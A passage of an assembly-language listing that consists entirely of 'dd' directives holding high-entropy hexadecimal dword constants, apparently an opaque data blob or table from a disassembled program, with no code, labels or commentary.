		dd 1F71ADFAh, 7506D1A9h, 5412F225h, 4840C99h, 29C04332h
		dd 0B8C9F036h, 0A65C8F20h, 5BC34014h, 0C40048A9h, 2AE37266h
		dd 2EBA50D4h, 4078338Eh, 376CF543h, 0A23E30B0h,	58EE07B0h
		dd 6EB14892h, 0F0526FB1h, 277F4057h, 565F0005h,	393F955Ch
		dd 4A27C75Bh, 0B2B0C9E0h, 93020862h, 9BB33FDAh,	91B7E840h
		dd 0B0ACEE00h, 41AE7B78h, 2C1D4D4Ch, 79BFF418h,	0F4FF29F0h
		dd 0CE0142CCh, 496C75B7h, 0A0506D2Ch, 5016B5FBh, 9DD98A5h
		dd 3DD758A4h, 0EE2A7C80h, 38015777h, 0F7289DF4h, 88602081h
		dd 4A79C197h, 42FC1624h, 68203524h, 58B128BEh, 86C7C82h
		dd 590388C1h, 4AA18372h, 877828EEh, 737E09F0h, 2068B07Dh
		dd 2C928AEDh, 0D31FE400h, 9E8CDC42h, 0E32C002Eh, 0C81ACAEh
		dd 40195CAh, 0BA064EEBh, 98401862h, 0E4238DE0h,	0C0849069h
		dd 0EF799D51h, 75487AB5h, 0CD9B0064h, 70F55B01h, 0DFB90027h
		dd 0E438A86h, 46482A04h, 292C7C10h, 1701B26Bh, 2A6DD56h
		dd 0C7B91980h, 0D3D9F1B8h, 38EE9C0Bh, 9D688287h, 0B15860BBh
		dd 0DA79C08Eh, 0E9F173DCh, 5152E3Ch, 6A91FB52h,	6031D40Fh
		dd 0AFFF999Dh, 0F27E1484h, 0AC0CD879h, 9641B7B1h, 0C09D2101h
		dd 5A897217h, 0EAB3FDE8h, 3FF804EFh, 81AFDB7Bh,	508A9ED0h
		dd 0D81937A4h, 0FC4B3E00h, 6071815Eh, 943A0C96h, 0DC18F95Dh
		dd 76BAAA1Dh, 8238374Fh, 103D6B50h, 4384E622h, 0EB420867h
		dd 24D3956Ah, 8CB4C210h, 1072190Fh, 4A72213h, 3B71BB1Eh
		dd 0C427D503h, 183E0800h, 4394F10Ch, 86FA18C7h,	0C185181Fh
		dd 477CD419h, 818E8850h, 1CF46480h, 3FCEA1Fh, 3217C443h
		dd 0E044F9C1h, 0BBEAC573h, 71B8560Ch, 0FB95712Eh, 0A1E97FE0h
		dd 72E05408h, 40BD8801h, 87DD38h, 0D146A81Ah, 0C1437124h
		dd 0F0B2C4C9h, 13F884FBh, 0B00D5DDh, 44405FD1h,	0B2262518h
		dd 0ECE499h, 1B4AD54h, 10BE5509h, 980A2A0Fh, 99CFA0BFh
		dd 17F6CE53h, 7C4C6C9h,	9C0E9CB3h, 0BA14C868h, 7398E8AEh
		dd 68097530h, 60EF7CB1h, 5BD1388Ch, 0B9009ECBh,	8517DAA6h
		dd 0E64CD32h, 2A091CD3h, 5B13A8C0h, 0A518EAECh,	0F218DCF9h
		dd 0AF2C04FBh, 0C156BE75h, 8096DEF2h, 24A9318h,	31C28543h
		dd 514832C5h, 47FDC065h, 0FE71E9C5h, 2C1D8440h,	709C5CDBh
		dd 376470A4h, 7EF98726h, 42BE8D80h, 1B0E6AA1h, 0C4AF9CA2h
		dd 63C316C9h, 0CA8F88AAh, 1F8E46Eh, 18D32539h, 248638BFh
		dd 7C24BB54h, 7B4510E3h, 725B440h, 0F13CDEh, 919B1FACh
		dd 2A4C92D8h, 13EDBA06h, 0A9A436h, 70DC02D9h, 6371CEABh
		dd 39D4DB07h, 5970F5ECh, 6A2A7Ch, 9075CBE1h, 450BCC27h
		dd 1703D100h, 8A70243Ah, 648E00D5h, 5FDD2C3h, 8001BB14h
		dd 830A97B7h, 0C5F43C2Ah, 3B320038h, 74639B03h,	1D185992h
		dd 2318AC3Eh, 20376F83h, 1635BB01h, 0B63180C6h,	0ED2DDD76h
		dd 469F007Eh, 0F0D29B1h, 0DC00B722h, 14D464EAh,	98F64D7Dh
		dd 937E0Dh, 0B91D836Ch,	0CE078C39h, 270CE70Eh, 1E80FFE5h
		dd 50A8017Dh, 8714A5F8h, 92C56036h, 0CF411B06h,	144BFBh
		dd 0EEDDE486h, 0D1FC63h, 0BC192271h, 0F5B06958h, 0CE1CFB7Ah
		dd 74C2DEBDh, 36605615h, 70BDAD30h, 0A75BC775h,	0AD440074h
		dd 72E796C2h, 2CE26300h, 0D0E41188h, 0A4E7906h,	1EB65602h
		dd 0C5A57834h, 28E0A676h
		dd 2070FE68h, 0F30EDEC0h, 52E6FEC0h, 81C0449Ah,	0E254887h
		dd 2154BF00h, 4DA31D32h, 0E831548Eh, 0F404AF3Bh, 0B8B1318h
		dd 7C9F9310h, 0E3730249h, 4884DDA7h, 0AD0004D6h, 2C971320h
		dd 96F40639h, 2835E791h, 0C011FB42h, 82321CDh, 0FF90119Fh
		dd 5EFE8984h, 0DB112591h, 0F847BF7h, 29542CD7h,	0FB424B28h
		dd 0DA5722E2h, 82B39E00h, 221E008Dh, 0EBA4A804h, 27006649h
		dd 2DF70316h, 0DB88ADh,	0A06CB66Fh, 3DE722E5h, 760D4A16h
		dd 988C1F00h, 0B8044FD2h, 0AAFF00F0h, 854702DBh, 480165D6h
		dd 0ED6C4144h, 73CC6EB0h, 0AC4E00A4h, 0E304C1F3h, 0FF002259h
		dd 34588515h, 21852h, 4AF65C8Fh, 2F7EF290h, 64F39h, 0DA8EB605h
		dd 399AA8B2h, 0B394BD54h, 6F00BBA6h, 0CDF897DEh, 5950D8C9h
		dd 6E0045ABh, 0A912BB8Eh, 19606B6h, 0DCC954C0h,	6090C4F9h
		dd 0D400A71Fh, 4F031F95h, 7E405ABh, 694E82EDh, 7C100314h
		dd 0D0616BF9h, 9D00844Fh, 0EB220E59h, 0B1374B7h, 0CC40AFF7h
		dd 778AEA00h, 59006F1Ch, 0AD70E4ECh, 0D79F3Dh, 9EF7C019h
		dd 0BF490A21h, 0DEA67600h, 7DCBA807h, 697C008Ch, 5E4B9B6Ah
		dd 0D0F1F2D0h, 62025BCAh, 1AE401Ah, 21F58089h, 195BD9Ch
		dd 0CCBF8CDh, 0D0FBCED5h, 6F71928Ch, 4067D203h,	0A84FC686h
		dd 9293F01Fh, 427900D0h, 63BAF351h, 8F7B567Bh, 8073477Eh
		dd 0CC8CC600h, 28B8F7B9h, 0F66300FFh, 973BF9D2h, 4C3F41D0h
		dd 8A098368h, 88601508h, 1CEFA94Fh, 0E57C62h, 0ADBD5FEDh
		dd 6F0051F5h, 1C7E3D8Fh, 395D162Fh, 0B5004730h,	0A1BB4523h
		dd 0EB0E730Bh, 20874D94h, 0E3162D1h, 0E67977h, 72195EBDh
		dd 0D808655h, 0E238AD00h, 7007F9A7h, 31E600C8h,	0D762AE6Ah
		dd 30E281F8h, 0A98BDB00h, 0F473B4EBh, 0C07D051Ch, 0AAF60Eh
		dd 0E44B3A48h, 200DE78h, 34E0DB4Fh, 73B8F3D2h, 7A47CF9h
		dd 8C3784F5h, 0C45690F0h, 0DF1D1221h, 7CC395Eh,	0FD3825h
		dd 1415626Dh, 0EE86A87Bh, 6FFF4E00h, 34E55931h,	7C777Eh
		dd 25668BBAh, 0D276603Dh, 0F31A400h, 72D1164h, 8020EBD5h
		dd 1EC100B3h, 6796F169h, 0AF01E7B1h, 66DE1F9Eh,	0FCC0FFB7h
		dd 26FB3BE5h, 79038BBAh, 0EFDB10B6h, 6D32AB8h, 0FDC01D07h
		dd 0DAA78EC9h, 0C9D5491h, 0FB95C4h, 76379725h, 0A3118CAAh
		dd 0C8BC9E00h, 50ED5698h, 0A752009Fh, 0BB2F4CCFh, 4803DA6Bh
		dd 0B4105805h, 0E530D8D3h, 33FF0086h, 0BFF7C7E1h, 9304CD6Eh
		dd 52569FA7h, 784045C0h, 0F4E700D6h, 0F6C4F31h,	0B03C199h
		dd 67DA85CEh, 76A2D871h, 0B1351ED3h, 0AF47C09Fh, 0B7E3483Dh
		dd 19CA601h, 4EB4090Bh,	6BD52880h, 74DD3D94h, 0F97593EAh
		dd 82033Eh, 0B7EC5A2Ah,	358530h, 47B41355h, 446B4610h
		dd 414F1600h, 0A5DCB351h, 68BB04E2h, 80324E03h,	0DD7D449Ah
		dd 9FFE6400h, 0E977A837h, 0E1070092h, 3E4A581Fh, 8C0E98C5h
		dd 0BED83FBCh, 0A239600h, 0A669C9h, 0EF288626h,	38F7FEDEh
		dd 0E74A753Eh, 39802C29h, 1239A9Bh, 54F9D4AFh, 80110FCDh
		dd 481A5A21h, 2B5681h, 0A374927Bh, 7223641Bh, 0D98BF500h
		dd 41A1E517h, 0B98100B2h, 65137A5Bh, 21240D54h,	470ED86Ah
		dd 0E3634E52h, 90E7FC02h, 943B415h, 0EAF701C1h,	8DD500DFh
		dd 0E83E2F89h, 0B5001C5h, 0D8674004h, 78D5308Fh, 0E53A9E60h
		dd 25FDFE9h, 0F123BA2Ah, 601D1Ch, 0CD00601Ah, 319542CBh
		dd 0F64D1889h, 4B3000ECh, 0BEB23285h, 0BC98A1EFh, 5543C500h
		dd 0F05EA1Ah, 29D21D63h, 377C0CDh, 0DD340A9h, 78219600h
		dd 5513BA60h, 2E0A73B6h, 431A14Dh, 0C7D62041h, 1D4100Ch
		dd 0EF01EE8Ch, 2A3CA46Eh, 4CD8B3ABh, 7967810h, 0B33899Fh
		dd 0BB23B07Ah, 7002ACAh, 36136B42h, 0FBF0DDDh, 0B28BC480h
		dd 121E2Fh, 1B35CA94h, 8D007D7Bh, 147127A7h, 506AD43Eh
		dd 0D98824h, 13B80A5Ah,	57A85F25h, 0A1E68900h, 8E6ACFFBh
		dd 0E24300D3h, 4214EAC8h, 33011068h, 0F9F386BCh, 48EC3C28h
		dd 7C800DAh, 0D3FEF05Eh, 0A0D3A1A4h, 0E32E8402h, 0F8F18026h
		dd 0F69D4F09h, 470317ECh, 0ACC700C8h, 0A55FC419h, 0DB257601h
		dd 290B4AB3h, 0FD8030h,	0C81CB29Bh, 0A9638CC7h,	3B355300h
		dd 6E40B494h, 0F6A20169h, 38D69392h, 3460CA96h,	0C00AC58h
		dd 42609B79h, 0EDD8A0Fh, 0E067D0BEh, 0A45035A0h, 6D038F82h
		dd 51F789D6h, 3843B8DCh, 9C160060h, 642F6298h, 6C00021Ch
		dd 3F3C412Ah, 765EF7Ah,	6ED2F47Bh, 0C026D087h, 983A5ADBh
		dd 0BA4613A1h, 0F58F881Eh, 399B671Eh, 290DFE50h, 0E5C50F0Fh
		dd 6540CBF2h, 0C92562CFh, 0FB3F8400h, 0BE218D5Ah, 4274D2h
		dd 0D99F3A29h, 0F3262DC8h, 0E7308900h, 319A4F07h, 0FE8C0164h
		dd 3DD49B4Bh, 0F46FF16Ah, 0EA3C3BFAh, 2B0070B2h, 204DFCDCh
		dd 1F192A71h, 0C0D0C17Eh, 998F077Fh, 1A585D03h,	80E83AE8h
		dd 985C9C58h, 0C020C128h, 906C2FA8h, 80EBE46Ah,	0E5C79D10h
		dd 9825E952h, 65FC0064h, 6FB3C5E0h, 0D8000950h,	82B57B1h
		dd 2E3540B6h, 0BD58CC28h, 7761FD00h, 0BF0EF47h,	6FA60D1Fh
		dd 1E54EDCEh, 0B1C0C3DEh, 0E2B473E6h, 39CD0001h, 8F79583Fh
		dd 0B2033E87h, 0E7A7195Bh, 77F18815h, 1E65E06Dh, 298628h
		dd 2DE5351Bh, 0EE00D69Bh, 63FE269h, 0F6A5D40Dh,	7D2786Ch
		dd 0B5471E37h, 0E49A50FDh, 81E0B354h, 96189F00h, 69847B83h
		dd 0C09E0043h, 8B302E31h, 48242016h, 0DD1CD45Eh, 80F0E409h
		dd 0EA3A67A8h, 0C1F8004Ah, 89C7E8C6h, 7000C92Ah, 24765AAEh
		dd 0E4239DBDh, 0CA42073Ch, 0A04561DDh, 9CB7B6C1h, 0D1848700h
		dd 413B324Ah, 931013A1h, 0B80C0397h, 70FFCD12h,	0A379484Bh
		dd 66C46301h, 2B5E9422h, 632339D0h, 3FAA4AADh, 0BF828F80h
		dd 1FF45600h, 0A2DD2A1Bh, 0B729076Dh, 0D0935C28h, 85726FAh
		dd 7BF3391Ch, 0EB00785Dh, 0B09B0314h, 0ACE61CD6h, 0F16E02D5h
		dd 9C42DE0Dh, 6DF5825Dh, 43644044h, 3EE9B878h, 2C8094C1h
		dd 56362825h, 8700C561h, 81521976h, 54A103Ch, 5E9EC454h
		dd 0CCC4C3E0h, 0D5B825C0h, 81EB701h, 731B3F13h,	3F7AA87h
		dd 0B919A062h, 0ED1D450Fh, 5E41FFD7h, 56AFD026h, 0A529ECh
		dd 6AA91722h, 9B087D60h, 2E80C51Dh, 0CA661480h,	7582513Bh
		dd 29B8C00Ah, 4402E94Ah, 0CB63DC00h, 65E627D6h,	39EFE8E5h
		dd 0A99E2DBFh, 0B6A4F05h, 10131DA7h, 25B3727Bh,	0CD7F0800h
		dd 74C8F96Bh, 30B900C2h, 76B1CF42h, 37017E35h, 0C062D2D0h
		dd 6C60700Ch, 0D19400E4h, 674EFB22h, 0F9009938h, 12411C62h
		dd 13C68E3h, 155C663Ah,	0DA1E2432h, 841E8858h, 0D2418992h
		dd 2F91C6F6h, 0A01F1880h, 37F014A6h, 84C42D2Eh,	0DA64E01Fh
		dd 34006C24h, 5F73D721h, 4CCCA0AFh, 4117761h, 0CC622515h
		dd 0CD486AAh, 53E5C000h, 5C128A0Ah, 0E966005Bh,	32618BA8h
		dd 10FA2AC3h, 0D1F47C00h, 4DAA44FBh, 0B5291CB3h, 0DF378F8Fh
		dd 5D802E23h, 0AEF7A590h, 4EF92F00h, 0E13AC57Fh, 0DC800FFh
		dd 2BAD4C5Ah, 40089EAh,	47B91677h, 0E551BCAh, 80A3BC15h
		dd 0F2F06640h, 0FD001F70h, 8563BB10h, 1035375h,	66F3D936h
		dd 0DC1883B2h, 48043484h, 0CED87A6Ch, 90131CD0h, 999C0E5Dh
		dd 4E008F49h, 919616ACh, 40C0C807h, 0EF50BED4h,	68FD4Ah
		dd 0FCA13837h, 0A4B57247h, 0E1F3790Eh, 8CD2C04Ch, 0C752D1h
		dd 2F92F294h, 1B24ED30h, 754C3103h, 0A0BD2C3Bh,	24343937h
		dd 0F09BC3h
		dd 0F9331EADh, 2B0177B5h, 396C3EC0h, 2FCCF359h,	501907B9h
		dd 0A0E0386Eh, 1F1AD286h, 3777D800h, 0C1B98B41h, 5FDC011Eh
		dd 0CC15FDACh, 2FFAE47Dh, 0E2079D07h, 98700D4Ch, 85041Eh
		dd 70E373E4h, 690C8376h, 3D02F513h, 38B5FB0Ch, 0DCF80087h
		dd 2192BF56h, 0BA03C7E1h, 9E9023Ch, 0BF23C347h,	0E339FC40h
		dd 461800E0h, 31BE0EAFh, 712E6D3Bh, 7E001CE8h, 0D578CE52h
		dd 0FE690066h, 0C9844338h, 0FD1ECB2Dh, 37804C93h, 62488302h
		dd 9AAC07ECh, 0ECE540D4h, 9700DC89h, 891DBEBh, 1D29FA5h
		dd 45E38C5Eh, 30136542h, 0D8E65AF1h, 82C46E00h,	8C2B6186h
		dd 0F0E04CDCh, 0B012F900h, 0D0851A36h, 7F00E990h, 0CDDBA3B9h
		dd 79B0C2Fh, 0DECB9015h, 92EE83A7h, 4E70FCB8h, 0C240A406h
		dd 88DB9Fh, 0B925B2D9h,	0AA9A2160h, 10B8A975h, 520020ECh
		dd 69D9FCE5h, 7EB1F472h, 0E20B001h, 0F5433E90h,	0A0DE30C1h
		dd 8EF84069h, 8501C875h, 3E41686Dh, 98E7F245h, 97A4F1h
		dd 0A949BE0Bh, 126785E5h, 0FAB69101h, 405AAD3h,	8DD1D4h
		dd 0EAE3CB4Eh, 0C76E8967h, 33E98B00h, 5476DB6Bh, 0F7C96h
		dd 820305FEh, 0DF439FF2h, 0B5279E07h, 0DDC03D71h, 0A54AA8h
		dd 7994CA29h, 9A778965h, 0D601F998h, 0F0B7CBE2h, 2C8E031h
		dd 865B0093h, 60427D36h, 0C002092h, 0DD488163h,	469EEFh
		dd 59459679h, 0D8514DCAh, 5BAD0C17h, 0E037D90Eh, 3EA21C1Ah
		dd 7CC5004Ch, 3521CF4Ah, 570F3012h, 80E6F191h, 3ABE537Fh
		dd 60081680h, 62A30081h, 0CBD7B4F5h, 0B1916D1Dh, 0B67A5C41h
		dd 0C0DF9D04h, 0C8B31Fh, 779E20CDh, 4BB2DA29h, 8785D500h
		dd 1E90EA12h, 0A2540098h, 579CC823h, 0FF00C3F3h, 0B6461559h
		dd 2CA6023Bh, 4C0B3h, 0D23151D9h, 790075C3h, 48AC4376h
		dd 90CE0F34h, 33A21C86h, 65D7403Ah, 54BE8D2Ch, 8B005CE4h
		dd 473F5941h, 0E1744C6Ch, 7DF6ADCh, 98132C33h, 202EE0F9h
		dd 4FFA93BEh, 0FDF6410Eh, 35005C45h, 99182888h,	0ED7F0184h
		dd 0CA5440CEh, 0B0C7FF69h, 6C2A135h, 5D0EBD00h,	9DEF5E1Dh
		dd 8F640B82h, 0F7800DFFh, 258E6F71h, 0F424DF00h, 8641D6C8h
		dd 8CDD0EA9h, 0F1CFA76Bh, 60123DA0h, 3EEA356Dh,	0AAEC04B8h
		dd 0D4104B2Ch, 2EC41700h, 743EFD1h, 90C82CCCh, 0FAE13088h
		dd 3E01BAD9h, 0D14F3B36h, 0C615B55h, 592530h, 0E88F5AD3h
		dd 16BE46C0h, 0B72C6C00h, 93EA357Ch, 13D0E89h, 9F2037F5h
		dd 0A13E33AFh, 163A8703h, 3F7A6Bh, 57EE6988h, 14BD2E81h
		dd 11BBC002h, 8E02A80Bh, 5C54A3E0h, 0F75C13AAh,	0F600001h
		dd 0B37BACF8h, 0E6027877h, 143DF215h, 95A2C087h, 2A5B24EAh
		dd 9CAE9261h, 9F076BD0h, 45E7297Bh, 0A89CAE00h,	2767008Dh
		dd 0F14AA998h, 0C2F0B6FBh, 0CD7C8172h, 2B348500h, 53ABD7D1h
		dd 0C49104E4h, 80B7D897h, 9FA909BCh, 1845CC01h,	893830ABh
		dd 57C82471h, 0B7E241h,	20A304FEh, 0DBFACE63h, 10DA6700h
		dd 66BBD545h, 543A03ABh, 52E18C0Ch, 0C877F1A0h,	95FF8A00h
		dd 4F60ACDBh, 59FF2B7h,	32F2B9F5h, 659CC092h, 230087ABh
		dd 0B6DF1D28h, 0E45722Bh, 2E6EA680h, 37348840h,	6B4877A3h
		dd 0F9050093h, 4F074D27h, 123900CAh, 78A16664h,	1C00DC23h
		dd 8B287915h, 0FA952571h, 3F1F0F21h, 6C6177C3h,	0F8625BC9h
		dd 0D200BA74h, 7C381A4Ch, 0FA4752D6h, 211700DFh, 0F43F1257h
		dd 720043F5h, 0A3682AD5h, 853040h, 0CC5D5F06h, 0AFB1C0A8h
		dd 41079F00h, 95F1A1BDh, 3D49036Ch, 8A09294Ch, 0A2A7FFh
		dd 1774E284h, 9671B000h, 0F8B1E049h, 6B920031h,	9EC26F08h
		dd 90069F4h, 49A70AEh, 16C3CE1h, 6443F20Ah, 0D44072A1h
		dd 740042F0h, 1DBCBD57h, 0E71599Fh, 22780C18h, 0B84788C0h
		dd 2F07C768h, 0CB4BF515h, 0D2D68390h, 950B041Ch, 0F3321289h
		dd 4372BC00h, 874F00BBh, 6C77E1CDh, 0E4CB05FFh,	0D0A73149h
		dd 4B3682C0h, 90BF7D00h, 3ED148B6h, 0A85300DBh,	0D40CF817h
		dd 500DF78h, 4BE866FCh,	0F4E70Fh, 5E85B2FEh, 4ABC7029h
		dd 2EF0FA01h, 0DCB1E3D9h, 0B41C5880h, 0D4701D37h, 0FFCE10C5h
		dd 11EE18FAh, 270663CDh, 935E73B2h, 6B1B00F2h, 0E55685CBh
		dd 90033D9Fh, 96C8947Fh, 66BFE0F1h, 0C1A20EBBh,	1F803792h
		dd 79F05136h, 0AD0A3900h, 0E8383346h, 92E50027h, 1DE7A941h
		dd 0DC90A6E2h, 9B2F681Eh, 8400065h, 5EFF84h, 0C63BD2BBh
		dd 0EF57254Bh, 6B0039E0h, 0A2EE9ECDh, 74B70A78h, 1F1470ADh
		dd 40B884A1h, 0B610170Dh, 0E801B98Fh, 2AE96EF9h, 0EC34983Ch
		dd 1DD57ECCh, 4020A98Eh, 7E26C7E8h, 63FC2991h, 0DD093B00h
		dd 0A2EBC8FCh, 0B4038ABh, 1CB11102h, 640E269h, 44035AD7h
		dd 3BCBB9FBh, 0CAAC9016h, 127609B8h, 5580723Ah,	8B1DF190h
		dd 577AC300h, 4CE3795Bh, 326B0021h, 4DDDE480h, 8E0EC833h
		dd 0C0928236h, 0B07FF147h, 0B5620334h, 2EFE3F2h, 689739D8h
		dd 9367E600h, 8BFBBA18h, 50291428h, 379D4B0h, 0E60A435Bh
		dd 93F02E1Dh, 59EA5625h, 352CB002h, 0DD6036A8h,	7A397B40h
		dd 0BB44383Ch, 0CBD60088h, 8905AF59h, 200E027Dh, 66527648h
		dd 0FF6E66C0h, 0B3CFEA1Dh, 8FFD4B40h, 3DDD307Dh, 7B8EE887h
		dd 12722417h, 9A7C0F69h, 0E381B460h, 0FB00BD27h, 0A16EB0CDh
		dd 0F963193h, 3FB99BD7h, 2EDCE5h, 94F34E98h, 85007952h
		dd 8E40A94Dh, 0F9F8150h, 0E897D0E0h, 0B60F06E0h, 6F01351Ch
		dd 80A05D29h, 0CC70BB3Ah, 0E210F30h, 0D0A58B58h, 33D780AFh
		dd 94006308h, 5DCDB1E9h, 4C9D7EC9h, 200E7C1Dh, 50011D1h
		dd 0BDBEA6FFh, 2E33A09h, 249B0057h, 0C73B2Fh, 7438872Ch
		dd 0AD502268h, 11F74901h, 0BCA8C80Dh, 1F8E2ED0h, 0C063B413h
		dd 0C06D570Ah, 1E4869Eh, 260081E8h, 7720D39Ah, 76BF32h
		dd 0CC746D88h, 0D6A73FE8h, 49B3D000h, 83BDB9C7h, 38957926h
		dd 0B202CB8Eh, 0D55B1574h, 4353C7E0h, 50087B8h,	58ACFDABh
		dd 9323BAh, 0BCB0F454h,	0B8578E84h, 8E0A6B27h, 309E422Ch
		dd 9B864046h, 89F40020h, 585E4CB5h, 0CD3BEE6Ch,	500F64Dh
		dd 0C6178F85h, 0EB15F1Fh, 126C4BD3h, 3E66ACA0h,	0FEB8806Eh
		dd 425E2E2Eh, 0F396A00h, 7704F25h, 0BC75AC91h, 0A25B21AFh
		dd 0A042FCE1h, 0A515853Bh, 9BC04145h, 0C7B2BE40h, 0A9CC00DEh
		dd 4EDB9AF3h, 8100520Ch, 5589DAC6h, 74128B0h, 227E53BCh
		dd 3615109Ah, 912430C3h, 1A007FA2h, 1EDFEB8Ah, 0B6CCEBA9h
		dd 0E83B008Ch, 4F06819Ch, 371FA129h, 0CF803397h, 91A50469h
		dd 481548C3h, 0EAB90B00h, 20D0DE5Fh, 4A0F16E8h,	808B4710h
		dd 246E21D4h, 234E3BF0h, 9890E407h, 539B70D9h, 0D61F4809h
		dd 0D7403368h, 4728F869h, 4C21FADh, 3AC600A4h, 9C7A2F09h
		dd 65AB9800h, 0E259D435h, 2210031Fh, 0C3B64E4Ch, 516B8FA0h
		dd 8C3C5C28h, 0FF03C7EAh, 8682C2F9h, 5650F9A2h,	2FC2CAA4h
		dd 0B322C880h, 0D601657Ah, 153DAAE5h, 0AC4369A4h, 8A47A0AFh
		dd 95172698h, 70F90EAFh, 0F1EC8660h, 0BF0052F2h, 839CCCC7h
		dd 59337711h, 0F903209Eh, 3C4AED69h, 58300DE8h,	62449300h
		dd 63F5D0A9h, 0F88600F6h, 3AA78C9Ch, 500D7CFh, 0F735DDB6h
		dd 683D8Bh, 62AA91EDh, 0ADC3B2E2h, 0EB0A2900h, 777FA574h
		dd 0F8BC007Ch, 0F2FCF9C1h, 904BC4D3h, 1CCF4C81h, 8185F8h
		dd 82418E1Ah, 280F3698h, 7114E500h, 189562ECh, 2676EE73h
		dd 1FB4867Ah, 0D0F7C0A5h
		dd 0A2AD51B7h, 9F1F4974h, 73407071h, 97B39C2Dh,	59F003FDh
		dd 0D7AFF8CBh, 32DF88F8h, 0EBCA5400h, 1D13B912h, 5590064h
		dd 967B079Ah, 750F0FFEh, 20C073B0h, 7D8CAFB9h, 269B7BF4h
		dd 8F546C72h, 15C0EF04h, 0B69C392Fh, 0DA305D02h, 6071CE25h
		dd 0A06B3AE6h, 8AE1C8h,	3701834Fh, 5AC105B2h, 0F8009473h
		dd 0A507B69Dh, 1DDF8202h, 40AE5B03h, 0E0C273E6h, 153F7B26h
		dd 3A147685h, 13FC8E57h, 0A0905A32h, 0BA057345h, 0B7F11184h
		dd 3CD0008Bh, 9366517Ah, 179A0012h, 691E8EBFh, 0FA0021DDh
		dd 11E7A152h, 1F58ABBEh, 876CDC6Ah, 0DC508AD0h,	6B48B220h
		dd 7D5E005Ah, 0FFB133CBh, 904B042Fh, 8CBE0DC8h,	0D930E398h
		dd 455BE866h, 0C3A000B3h, 0DFF037CEh, 9A60D787h, 3A92ABCAh
		dd 0A3A61CD2h, 14E98079h, 5BF31D17h, 7C1EE400h,	56743C5Eh
		dd 0F6D7002Fh, 0E39F853Ah, 36011672h, 399E5C1h,	5420265Fh
		dd 0EDC22E5Ch, 0B7C403ACh, 0ABB88887h, 6E03BF0Eh, 412907A2h
		dd 0ACAE9002h, 6A830AF6h, 3F8E5A7Eh, 84BDD706h,	6E1E48D1h
		dd 0A0C3C89Fh, 0B9E31150h, 0F8304D7Bh, 8BD50003h, 4F01CA8Ah
		dd 8D244964h, 1C40D0CEh, 30C22581h, 2948058Eh, 0EC704119h
		dd 0E304A492h, 0DDF0FC98h, 0E101E4ACh, 0D1E4B64Ah, 342C14h
		dd 0B54DE836h, 1899F2Fh, 83130422h, 0E8FA639Ch,	72013B35h
		dd 6576F948h, 0E1D8D6B9h, 963D3C49h, 0C81E5780h, 7A5837AAh
		dd 46F74F0Eh, 89798083h, 0F594CCh, 0A4F26154h, 5886A0A5h
		dd 0A27CAE00h, 331877ECh, 48FD00BEh, 0FA6B9F67h, 0CE49922h
		dd 582E250Fh, 0D3FB2059h, 771AAEAh, 0CCF1FE49h,	16D990C5h
		dd 0E0032EA3h, 5C1FDFA9h, 6623B87Ch, 565709A8h,	78204B75h
		dd 0AB96A910h, 8012613Eh, 156A2EE4h, 1D7BEBD9h,	4E5BF482h
		dd 0BADFBF2Ah, 0EAB7A300h, 0B12BE5A6h, 2E293F14h, 428B00E4h
		dd 317840A2h, 0FF7B00C6h, 41517F30h, 0EF282C61h, 2300A4AEh
		dd 0C0C2C511h, 3987E0h,	44689579h, 78704CA8h, 8F00BB76h
		dd 0AF985B6Fh, 3FA67640h, 310917BFh, 58872CD5h,	7811D009h
		dd 58002F55h, 0ED396F2h, 26FF4A6h, 93CC3238h, 0B480F93Ch
		dd 0FA0F797Ch, 0DD349095h, 99030062h, 646B12E0h, 0DC007247h
		dd 17B544F4h, 0F09FD0h,	65ECC222h, 0EEA95787h, 61B8A47Dh
		dd 611F990Ah, 0AC0EF80Eh, 22FF6085h, 98520A54h,	0ED070080h
		dd 840DB983h, 4B001792h, 30977AADh, 175EF47h, 6BC6264Fh
		dd 0F5013271h, 408470D0h, 0C185F206h, 0E010D33Ah, 0B73008Dh
		dd 7E5ECC5h, 0F705364Fh, 3194BC68h, 37D03EC1h, 0FAC0FDE1h
		dd 0FEC47D60h, 86920C43h, 0F5128A3Ch, 8FB26712h, 1FC74842h
		dd 908E84ADh, 18E4E4h, 0CDF5F851h, 0A4C50C3Bh, 0CDEFF93Ah
		dd 4C6700F0h, 0EDD7C0B1h, 6BE0135Dh, 0DD580033h, 4F56E1AEh
		dd 8E379800h, 9B4B8191h, 1F1E876h, 7287860Eh, 403F5AA1h
		dd 4B84FCF8h, 150037F2h, 0F623267Bh, 0AED3B5h, 32A2D844h
		dd 0EF2D972Fh, 0C2E4C490h, 773EA814h, 0ADFD04A8h, 5AC04E88h
		dd 1412B8Bh, 0B04F969Ah, 70B2AC57h, 486F0B42h, 0B7A24368h
		dd 0D855CB3Ch, 1EC54F34h, 80F2236Ch, 57C68970h,	5A0E3545h
		dd 0A9816ECEh, 12AC7861h, 0BC1EF6h, 40992113h, 8739BD57h
		dd 0CB7C804Ah, 0E77B8D13h, 0C3E52C91h, 1BBA05ECh, 0D044C799h
		dd 70569514h, 0B7B1411Dh, 0ECBB1740h, 1299B8h, 513A9372h
		dd 1DB99D96h, 0D357E00h, 0E58C18FBh, 847A05DDh,	849A70FDh
		dd 6DFC0061h, 0EA6360B4h, 0B5798298h, 34909C4Ah, 0EAA26AADh
		dd 7F11076Eh, 7BD0C0h, 0AAE2B404h, 7C81B01Eh, 0F0A00B92h
		dd 2BA919E8h, 0EF3530BAh, 0DBEE9C8h, 0DF48DC00h, 3EC98EA7h
		dd 5B0E3B4Ch, 916D258Fh, 67583400h, 0CD038435h,	624708D7h
		dd 0D05000DEh, 0AB8B8FD5h, 0A001C92Ah, 0D44887F7h, 0ED302E4Eh
		dd 8CB02ECDh, 10A9005Ch, 0AE75ADB3h, 510F3890h,	24BF46E1h
		dd 50EC4B59h, 571667C2h, 320F7458h, 0A015F723h,	0BFC10876h
		dd 6B481EB7h, 3B9F475Bh, 282089A7h, 9EBEA566h, 0E127770Eh
		dd 7A6463B1h, 747C8047h, 88D4008Ah, 34AC56B9h, 160097FAh
		dd 0ECF22852h, 0AB62472h, 6637592Dh, 37C3BE0h, 0CDB30148h
		dd 0E2C895E9h, 5C1E342Fh, 18890722h, 0DA700191h, 8FF8FA14h
		dd 93E71C95h, 7DFE80B9h, 66436F4Fh, 0D1F56000h,	0C8629941h
		dd 1C9760Ah, 2ACC8475h,	0F8A0836Ch, 4B2C9D44h, 0F6008017h
		dd 0C8A330AAh, 6AC50729h, 1976A5EEh, 0D8B22E81h, 831080F9h
		dd 0B9B406EAh, 0D6CC1854h, 17591918h, 77B374C0h, 28EFDAEBh
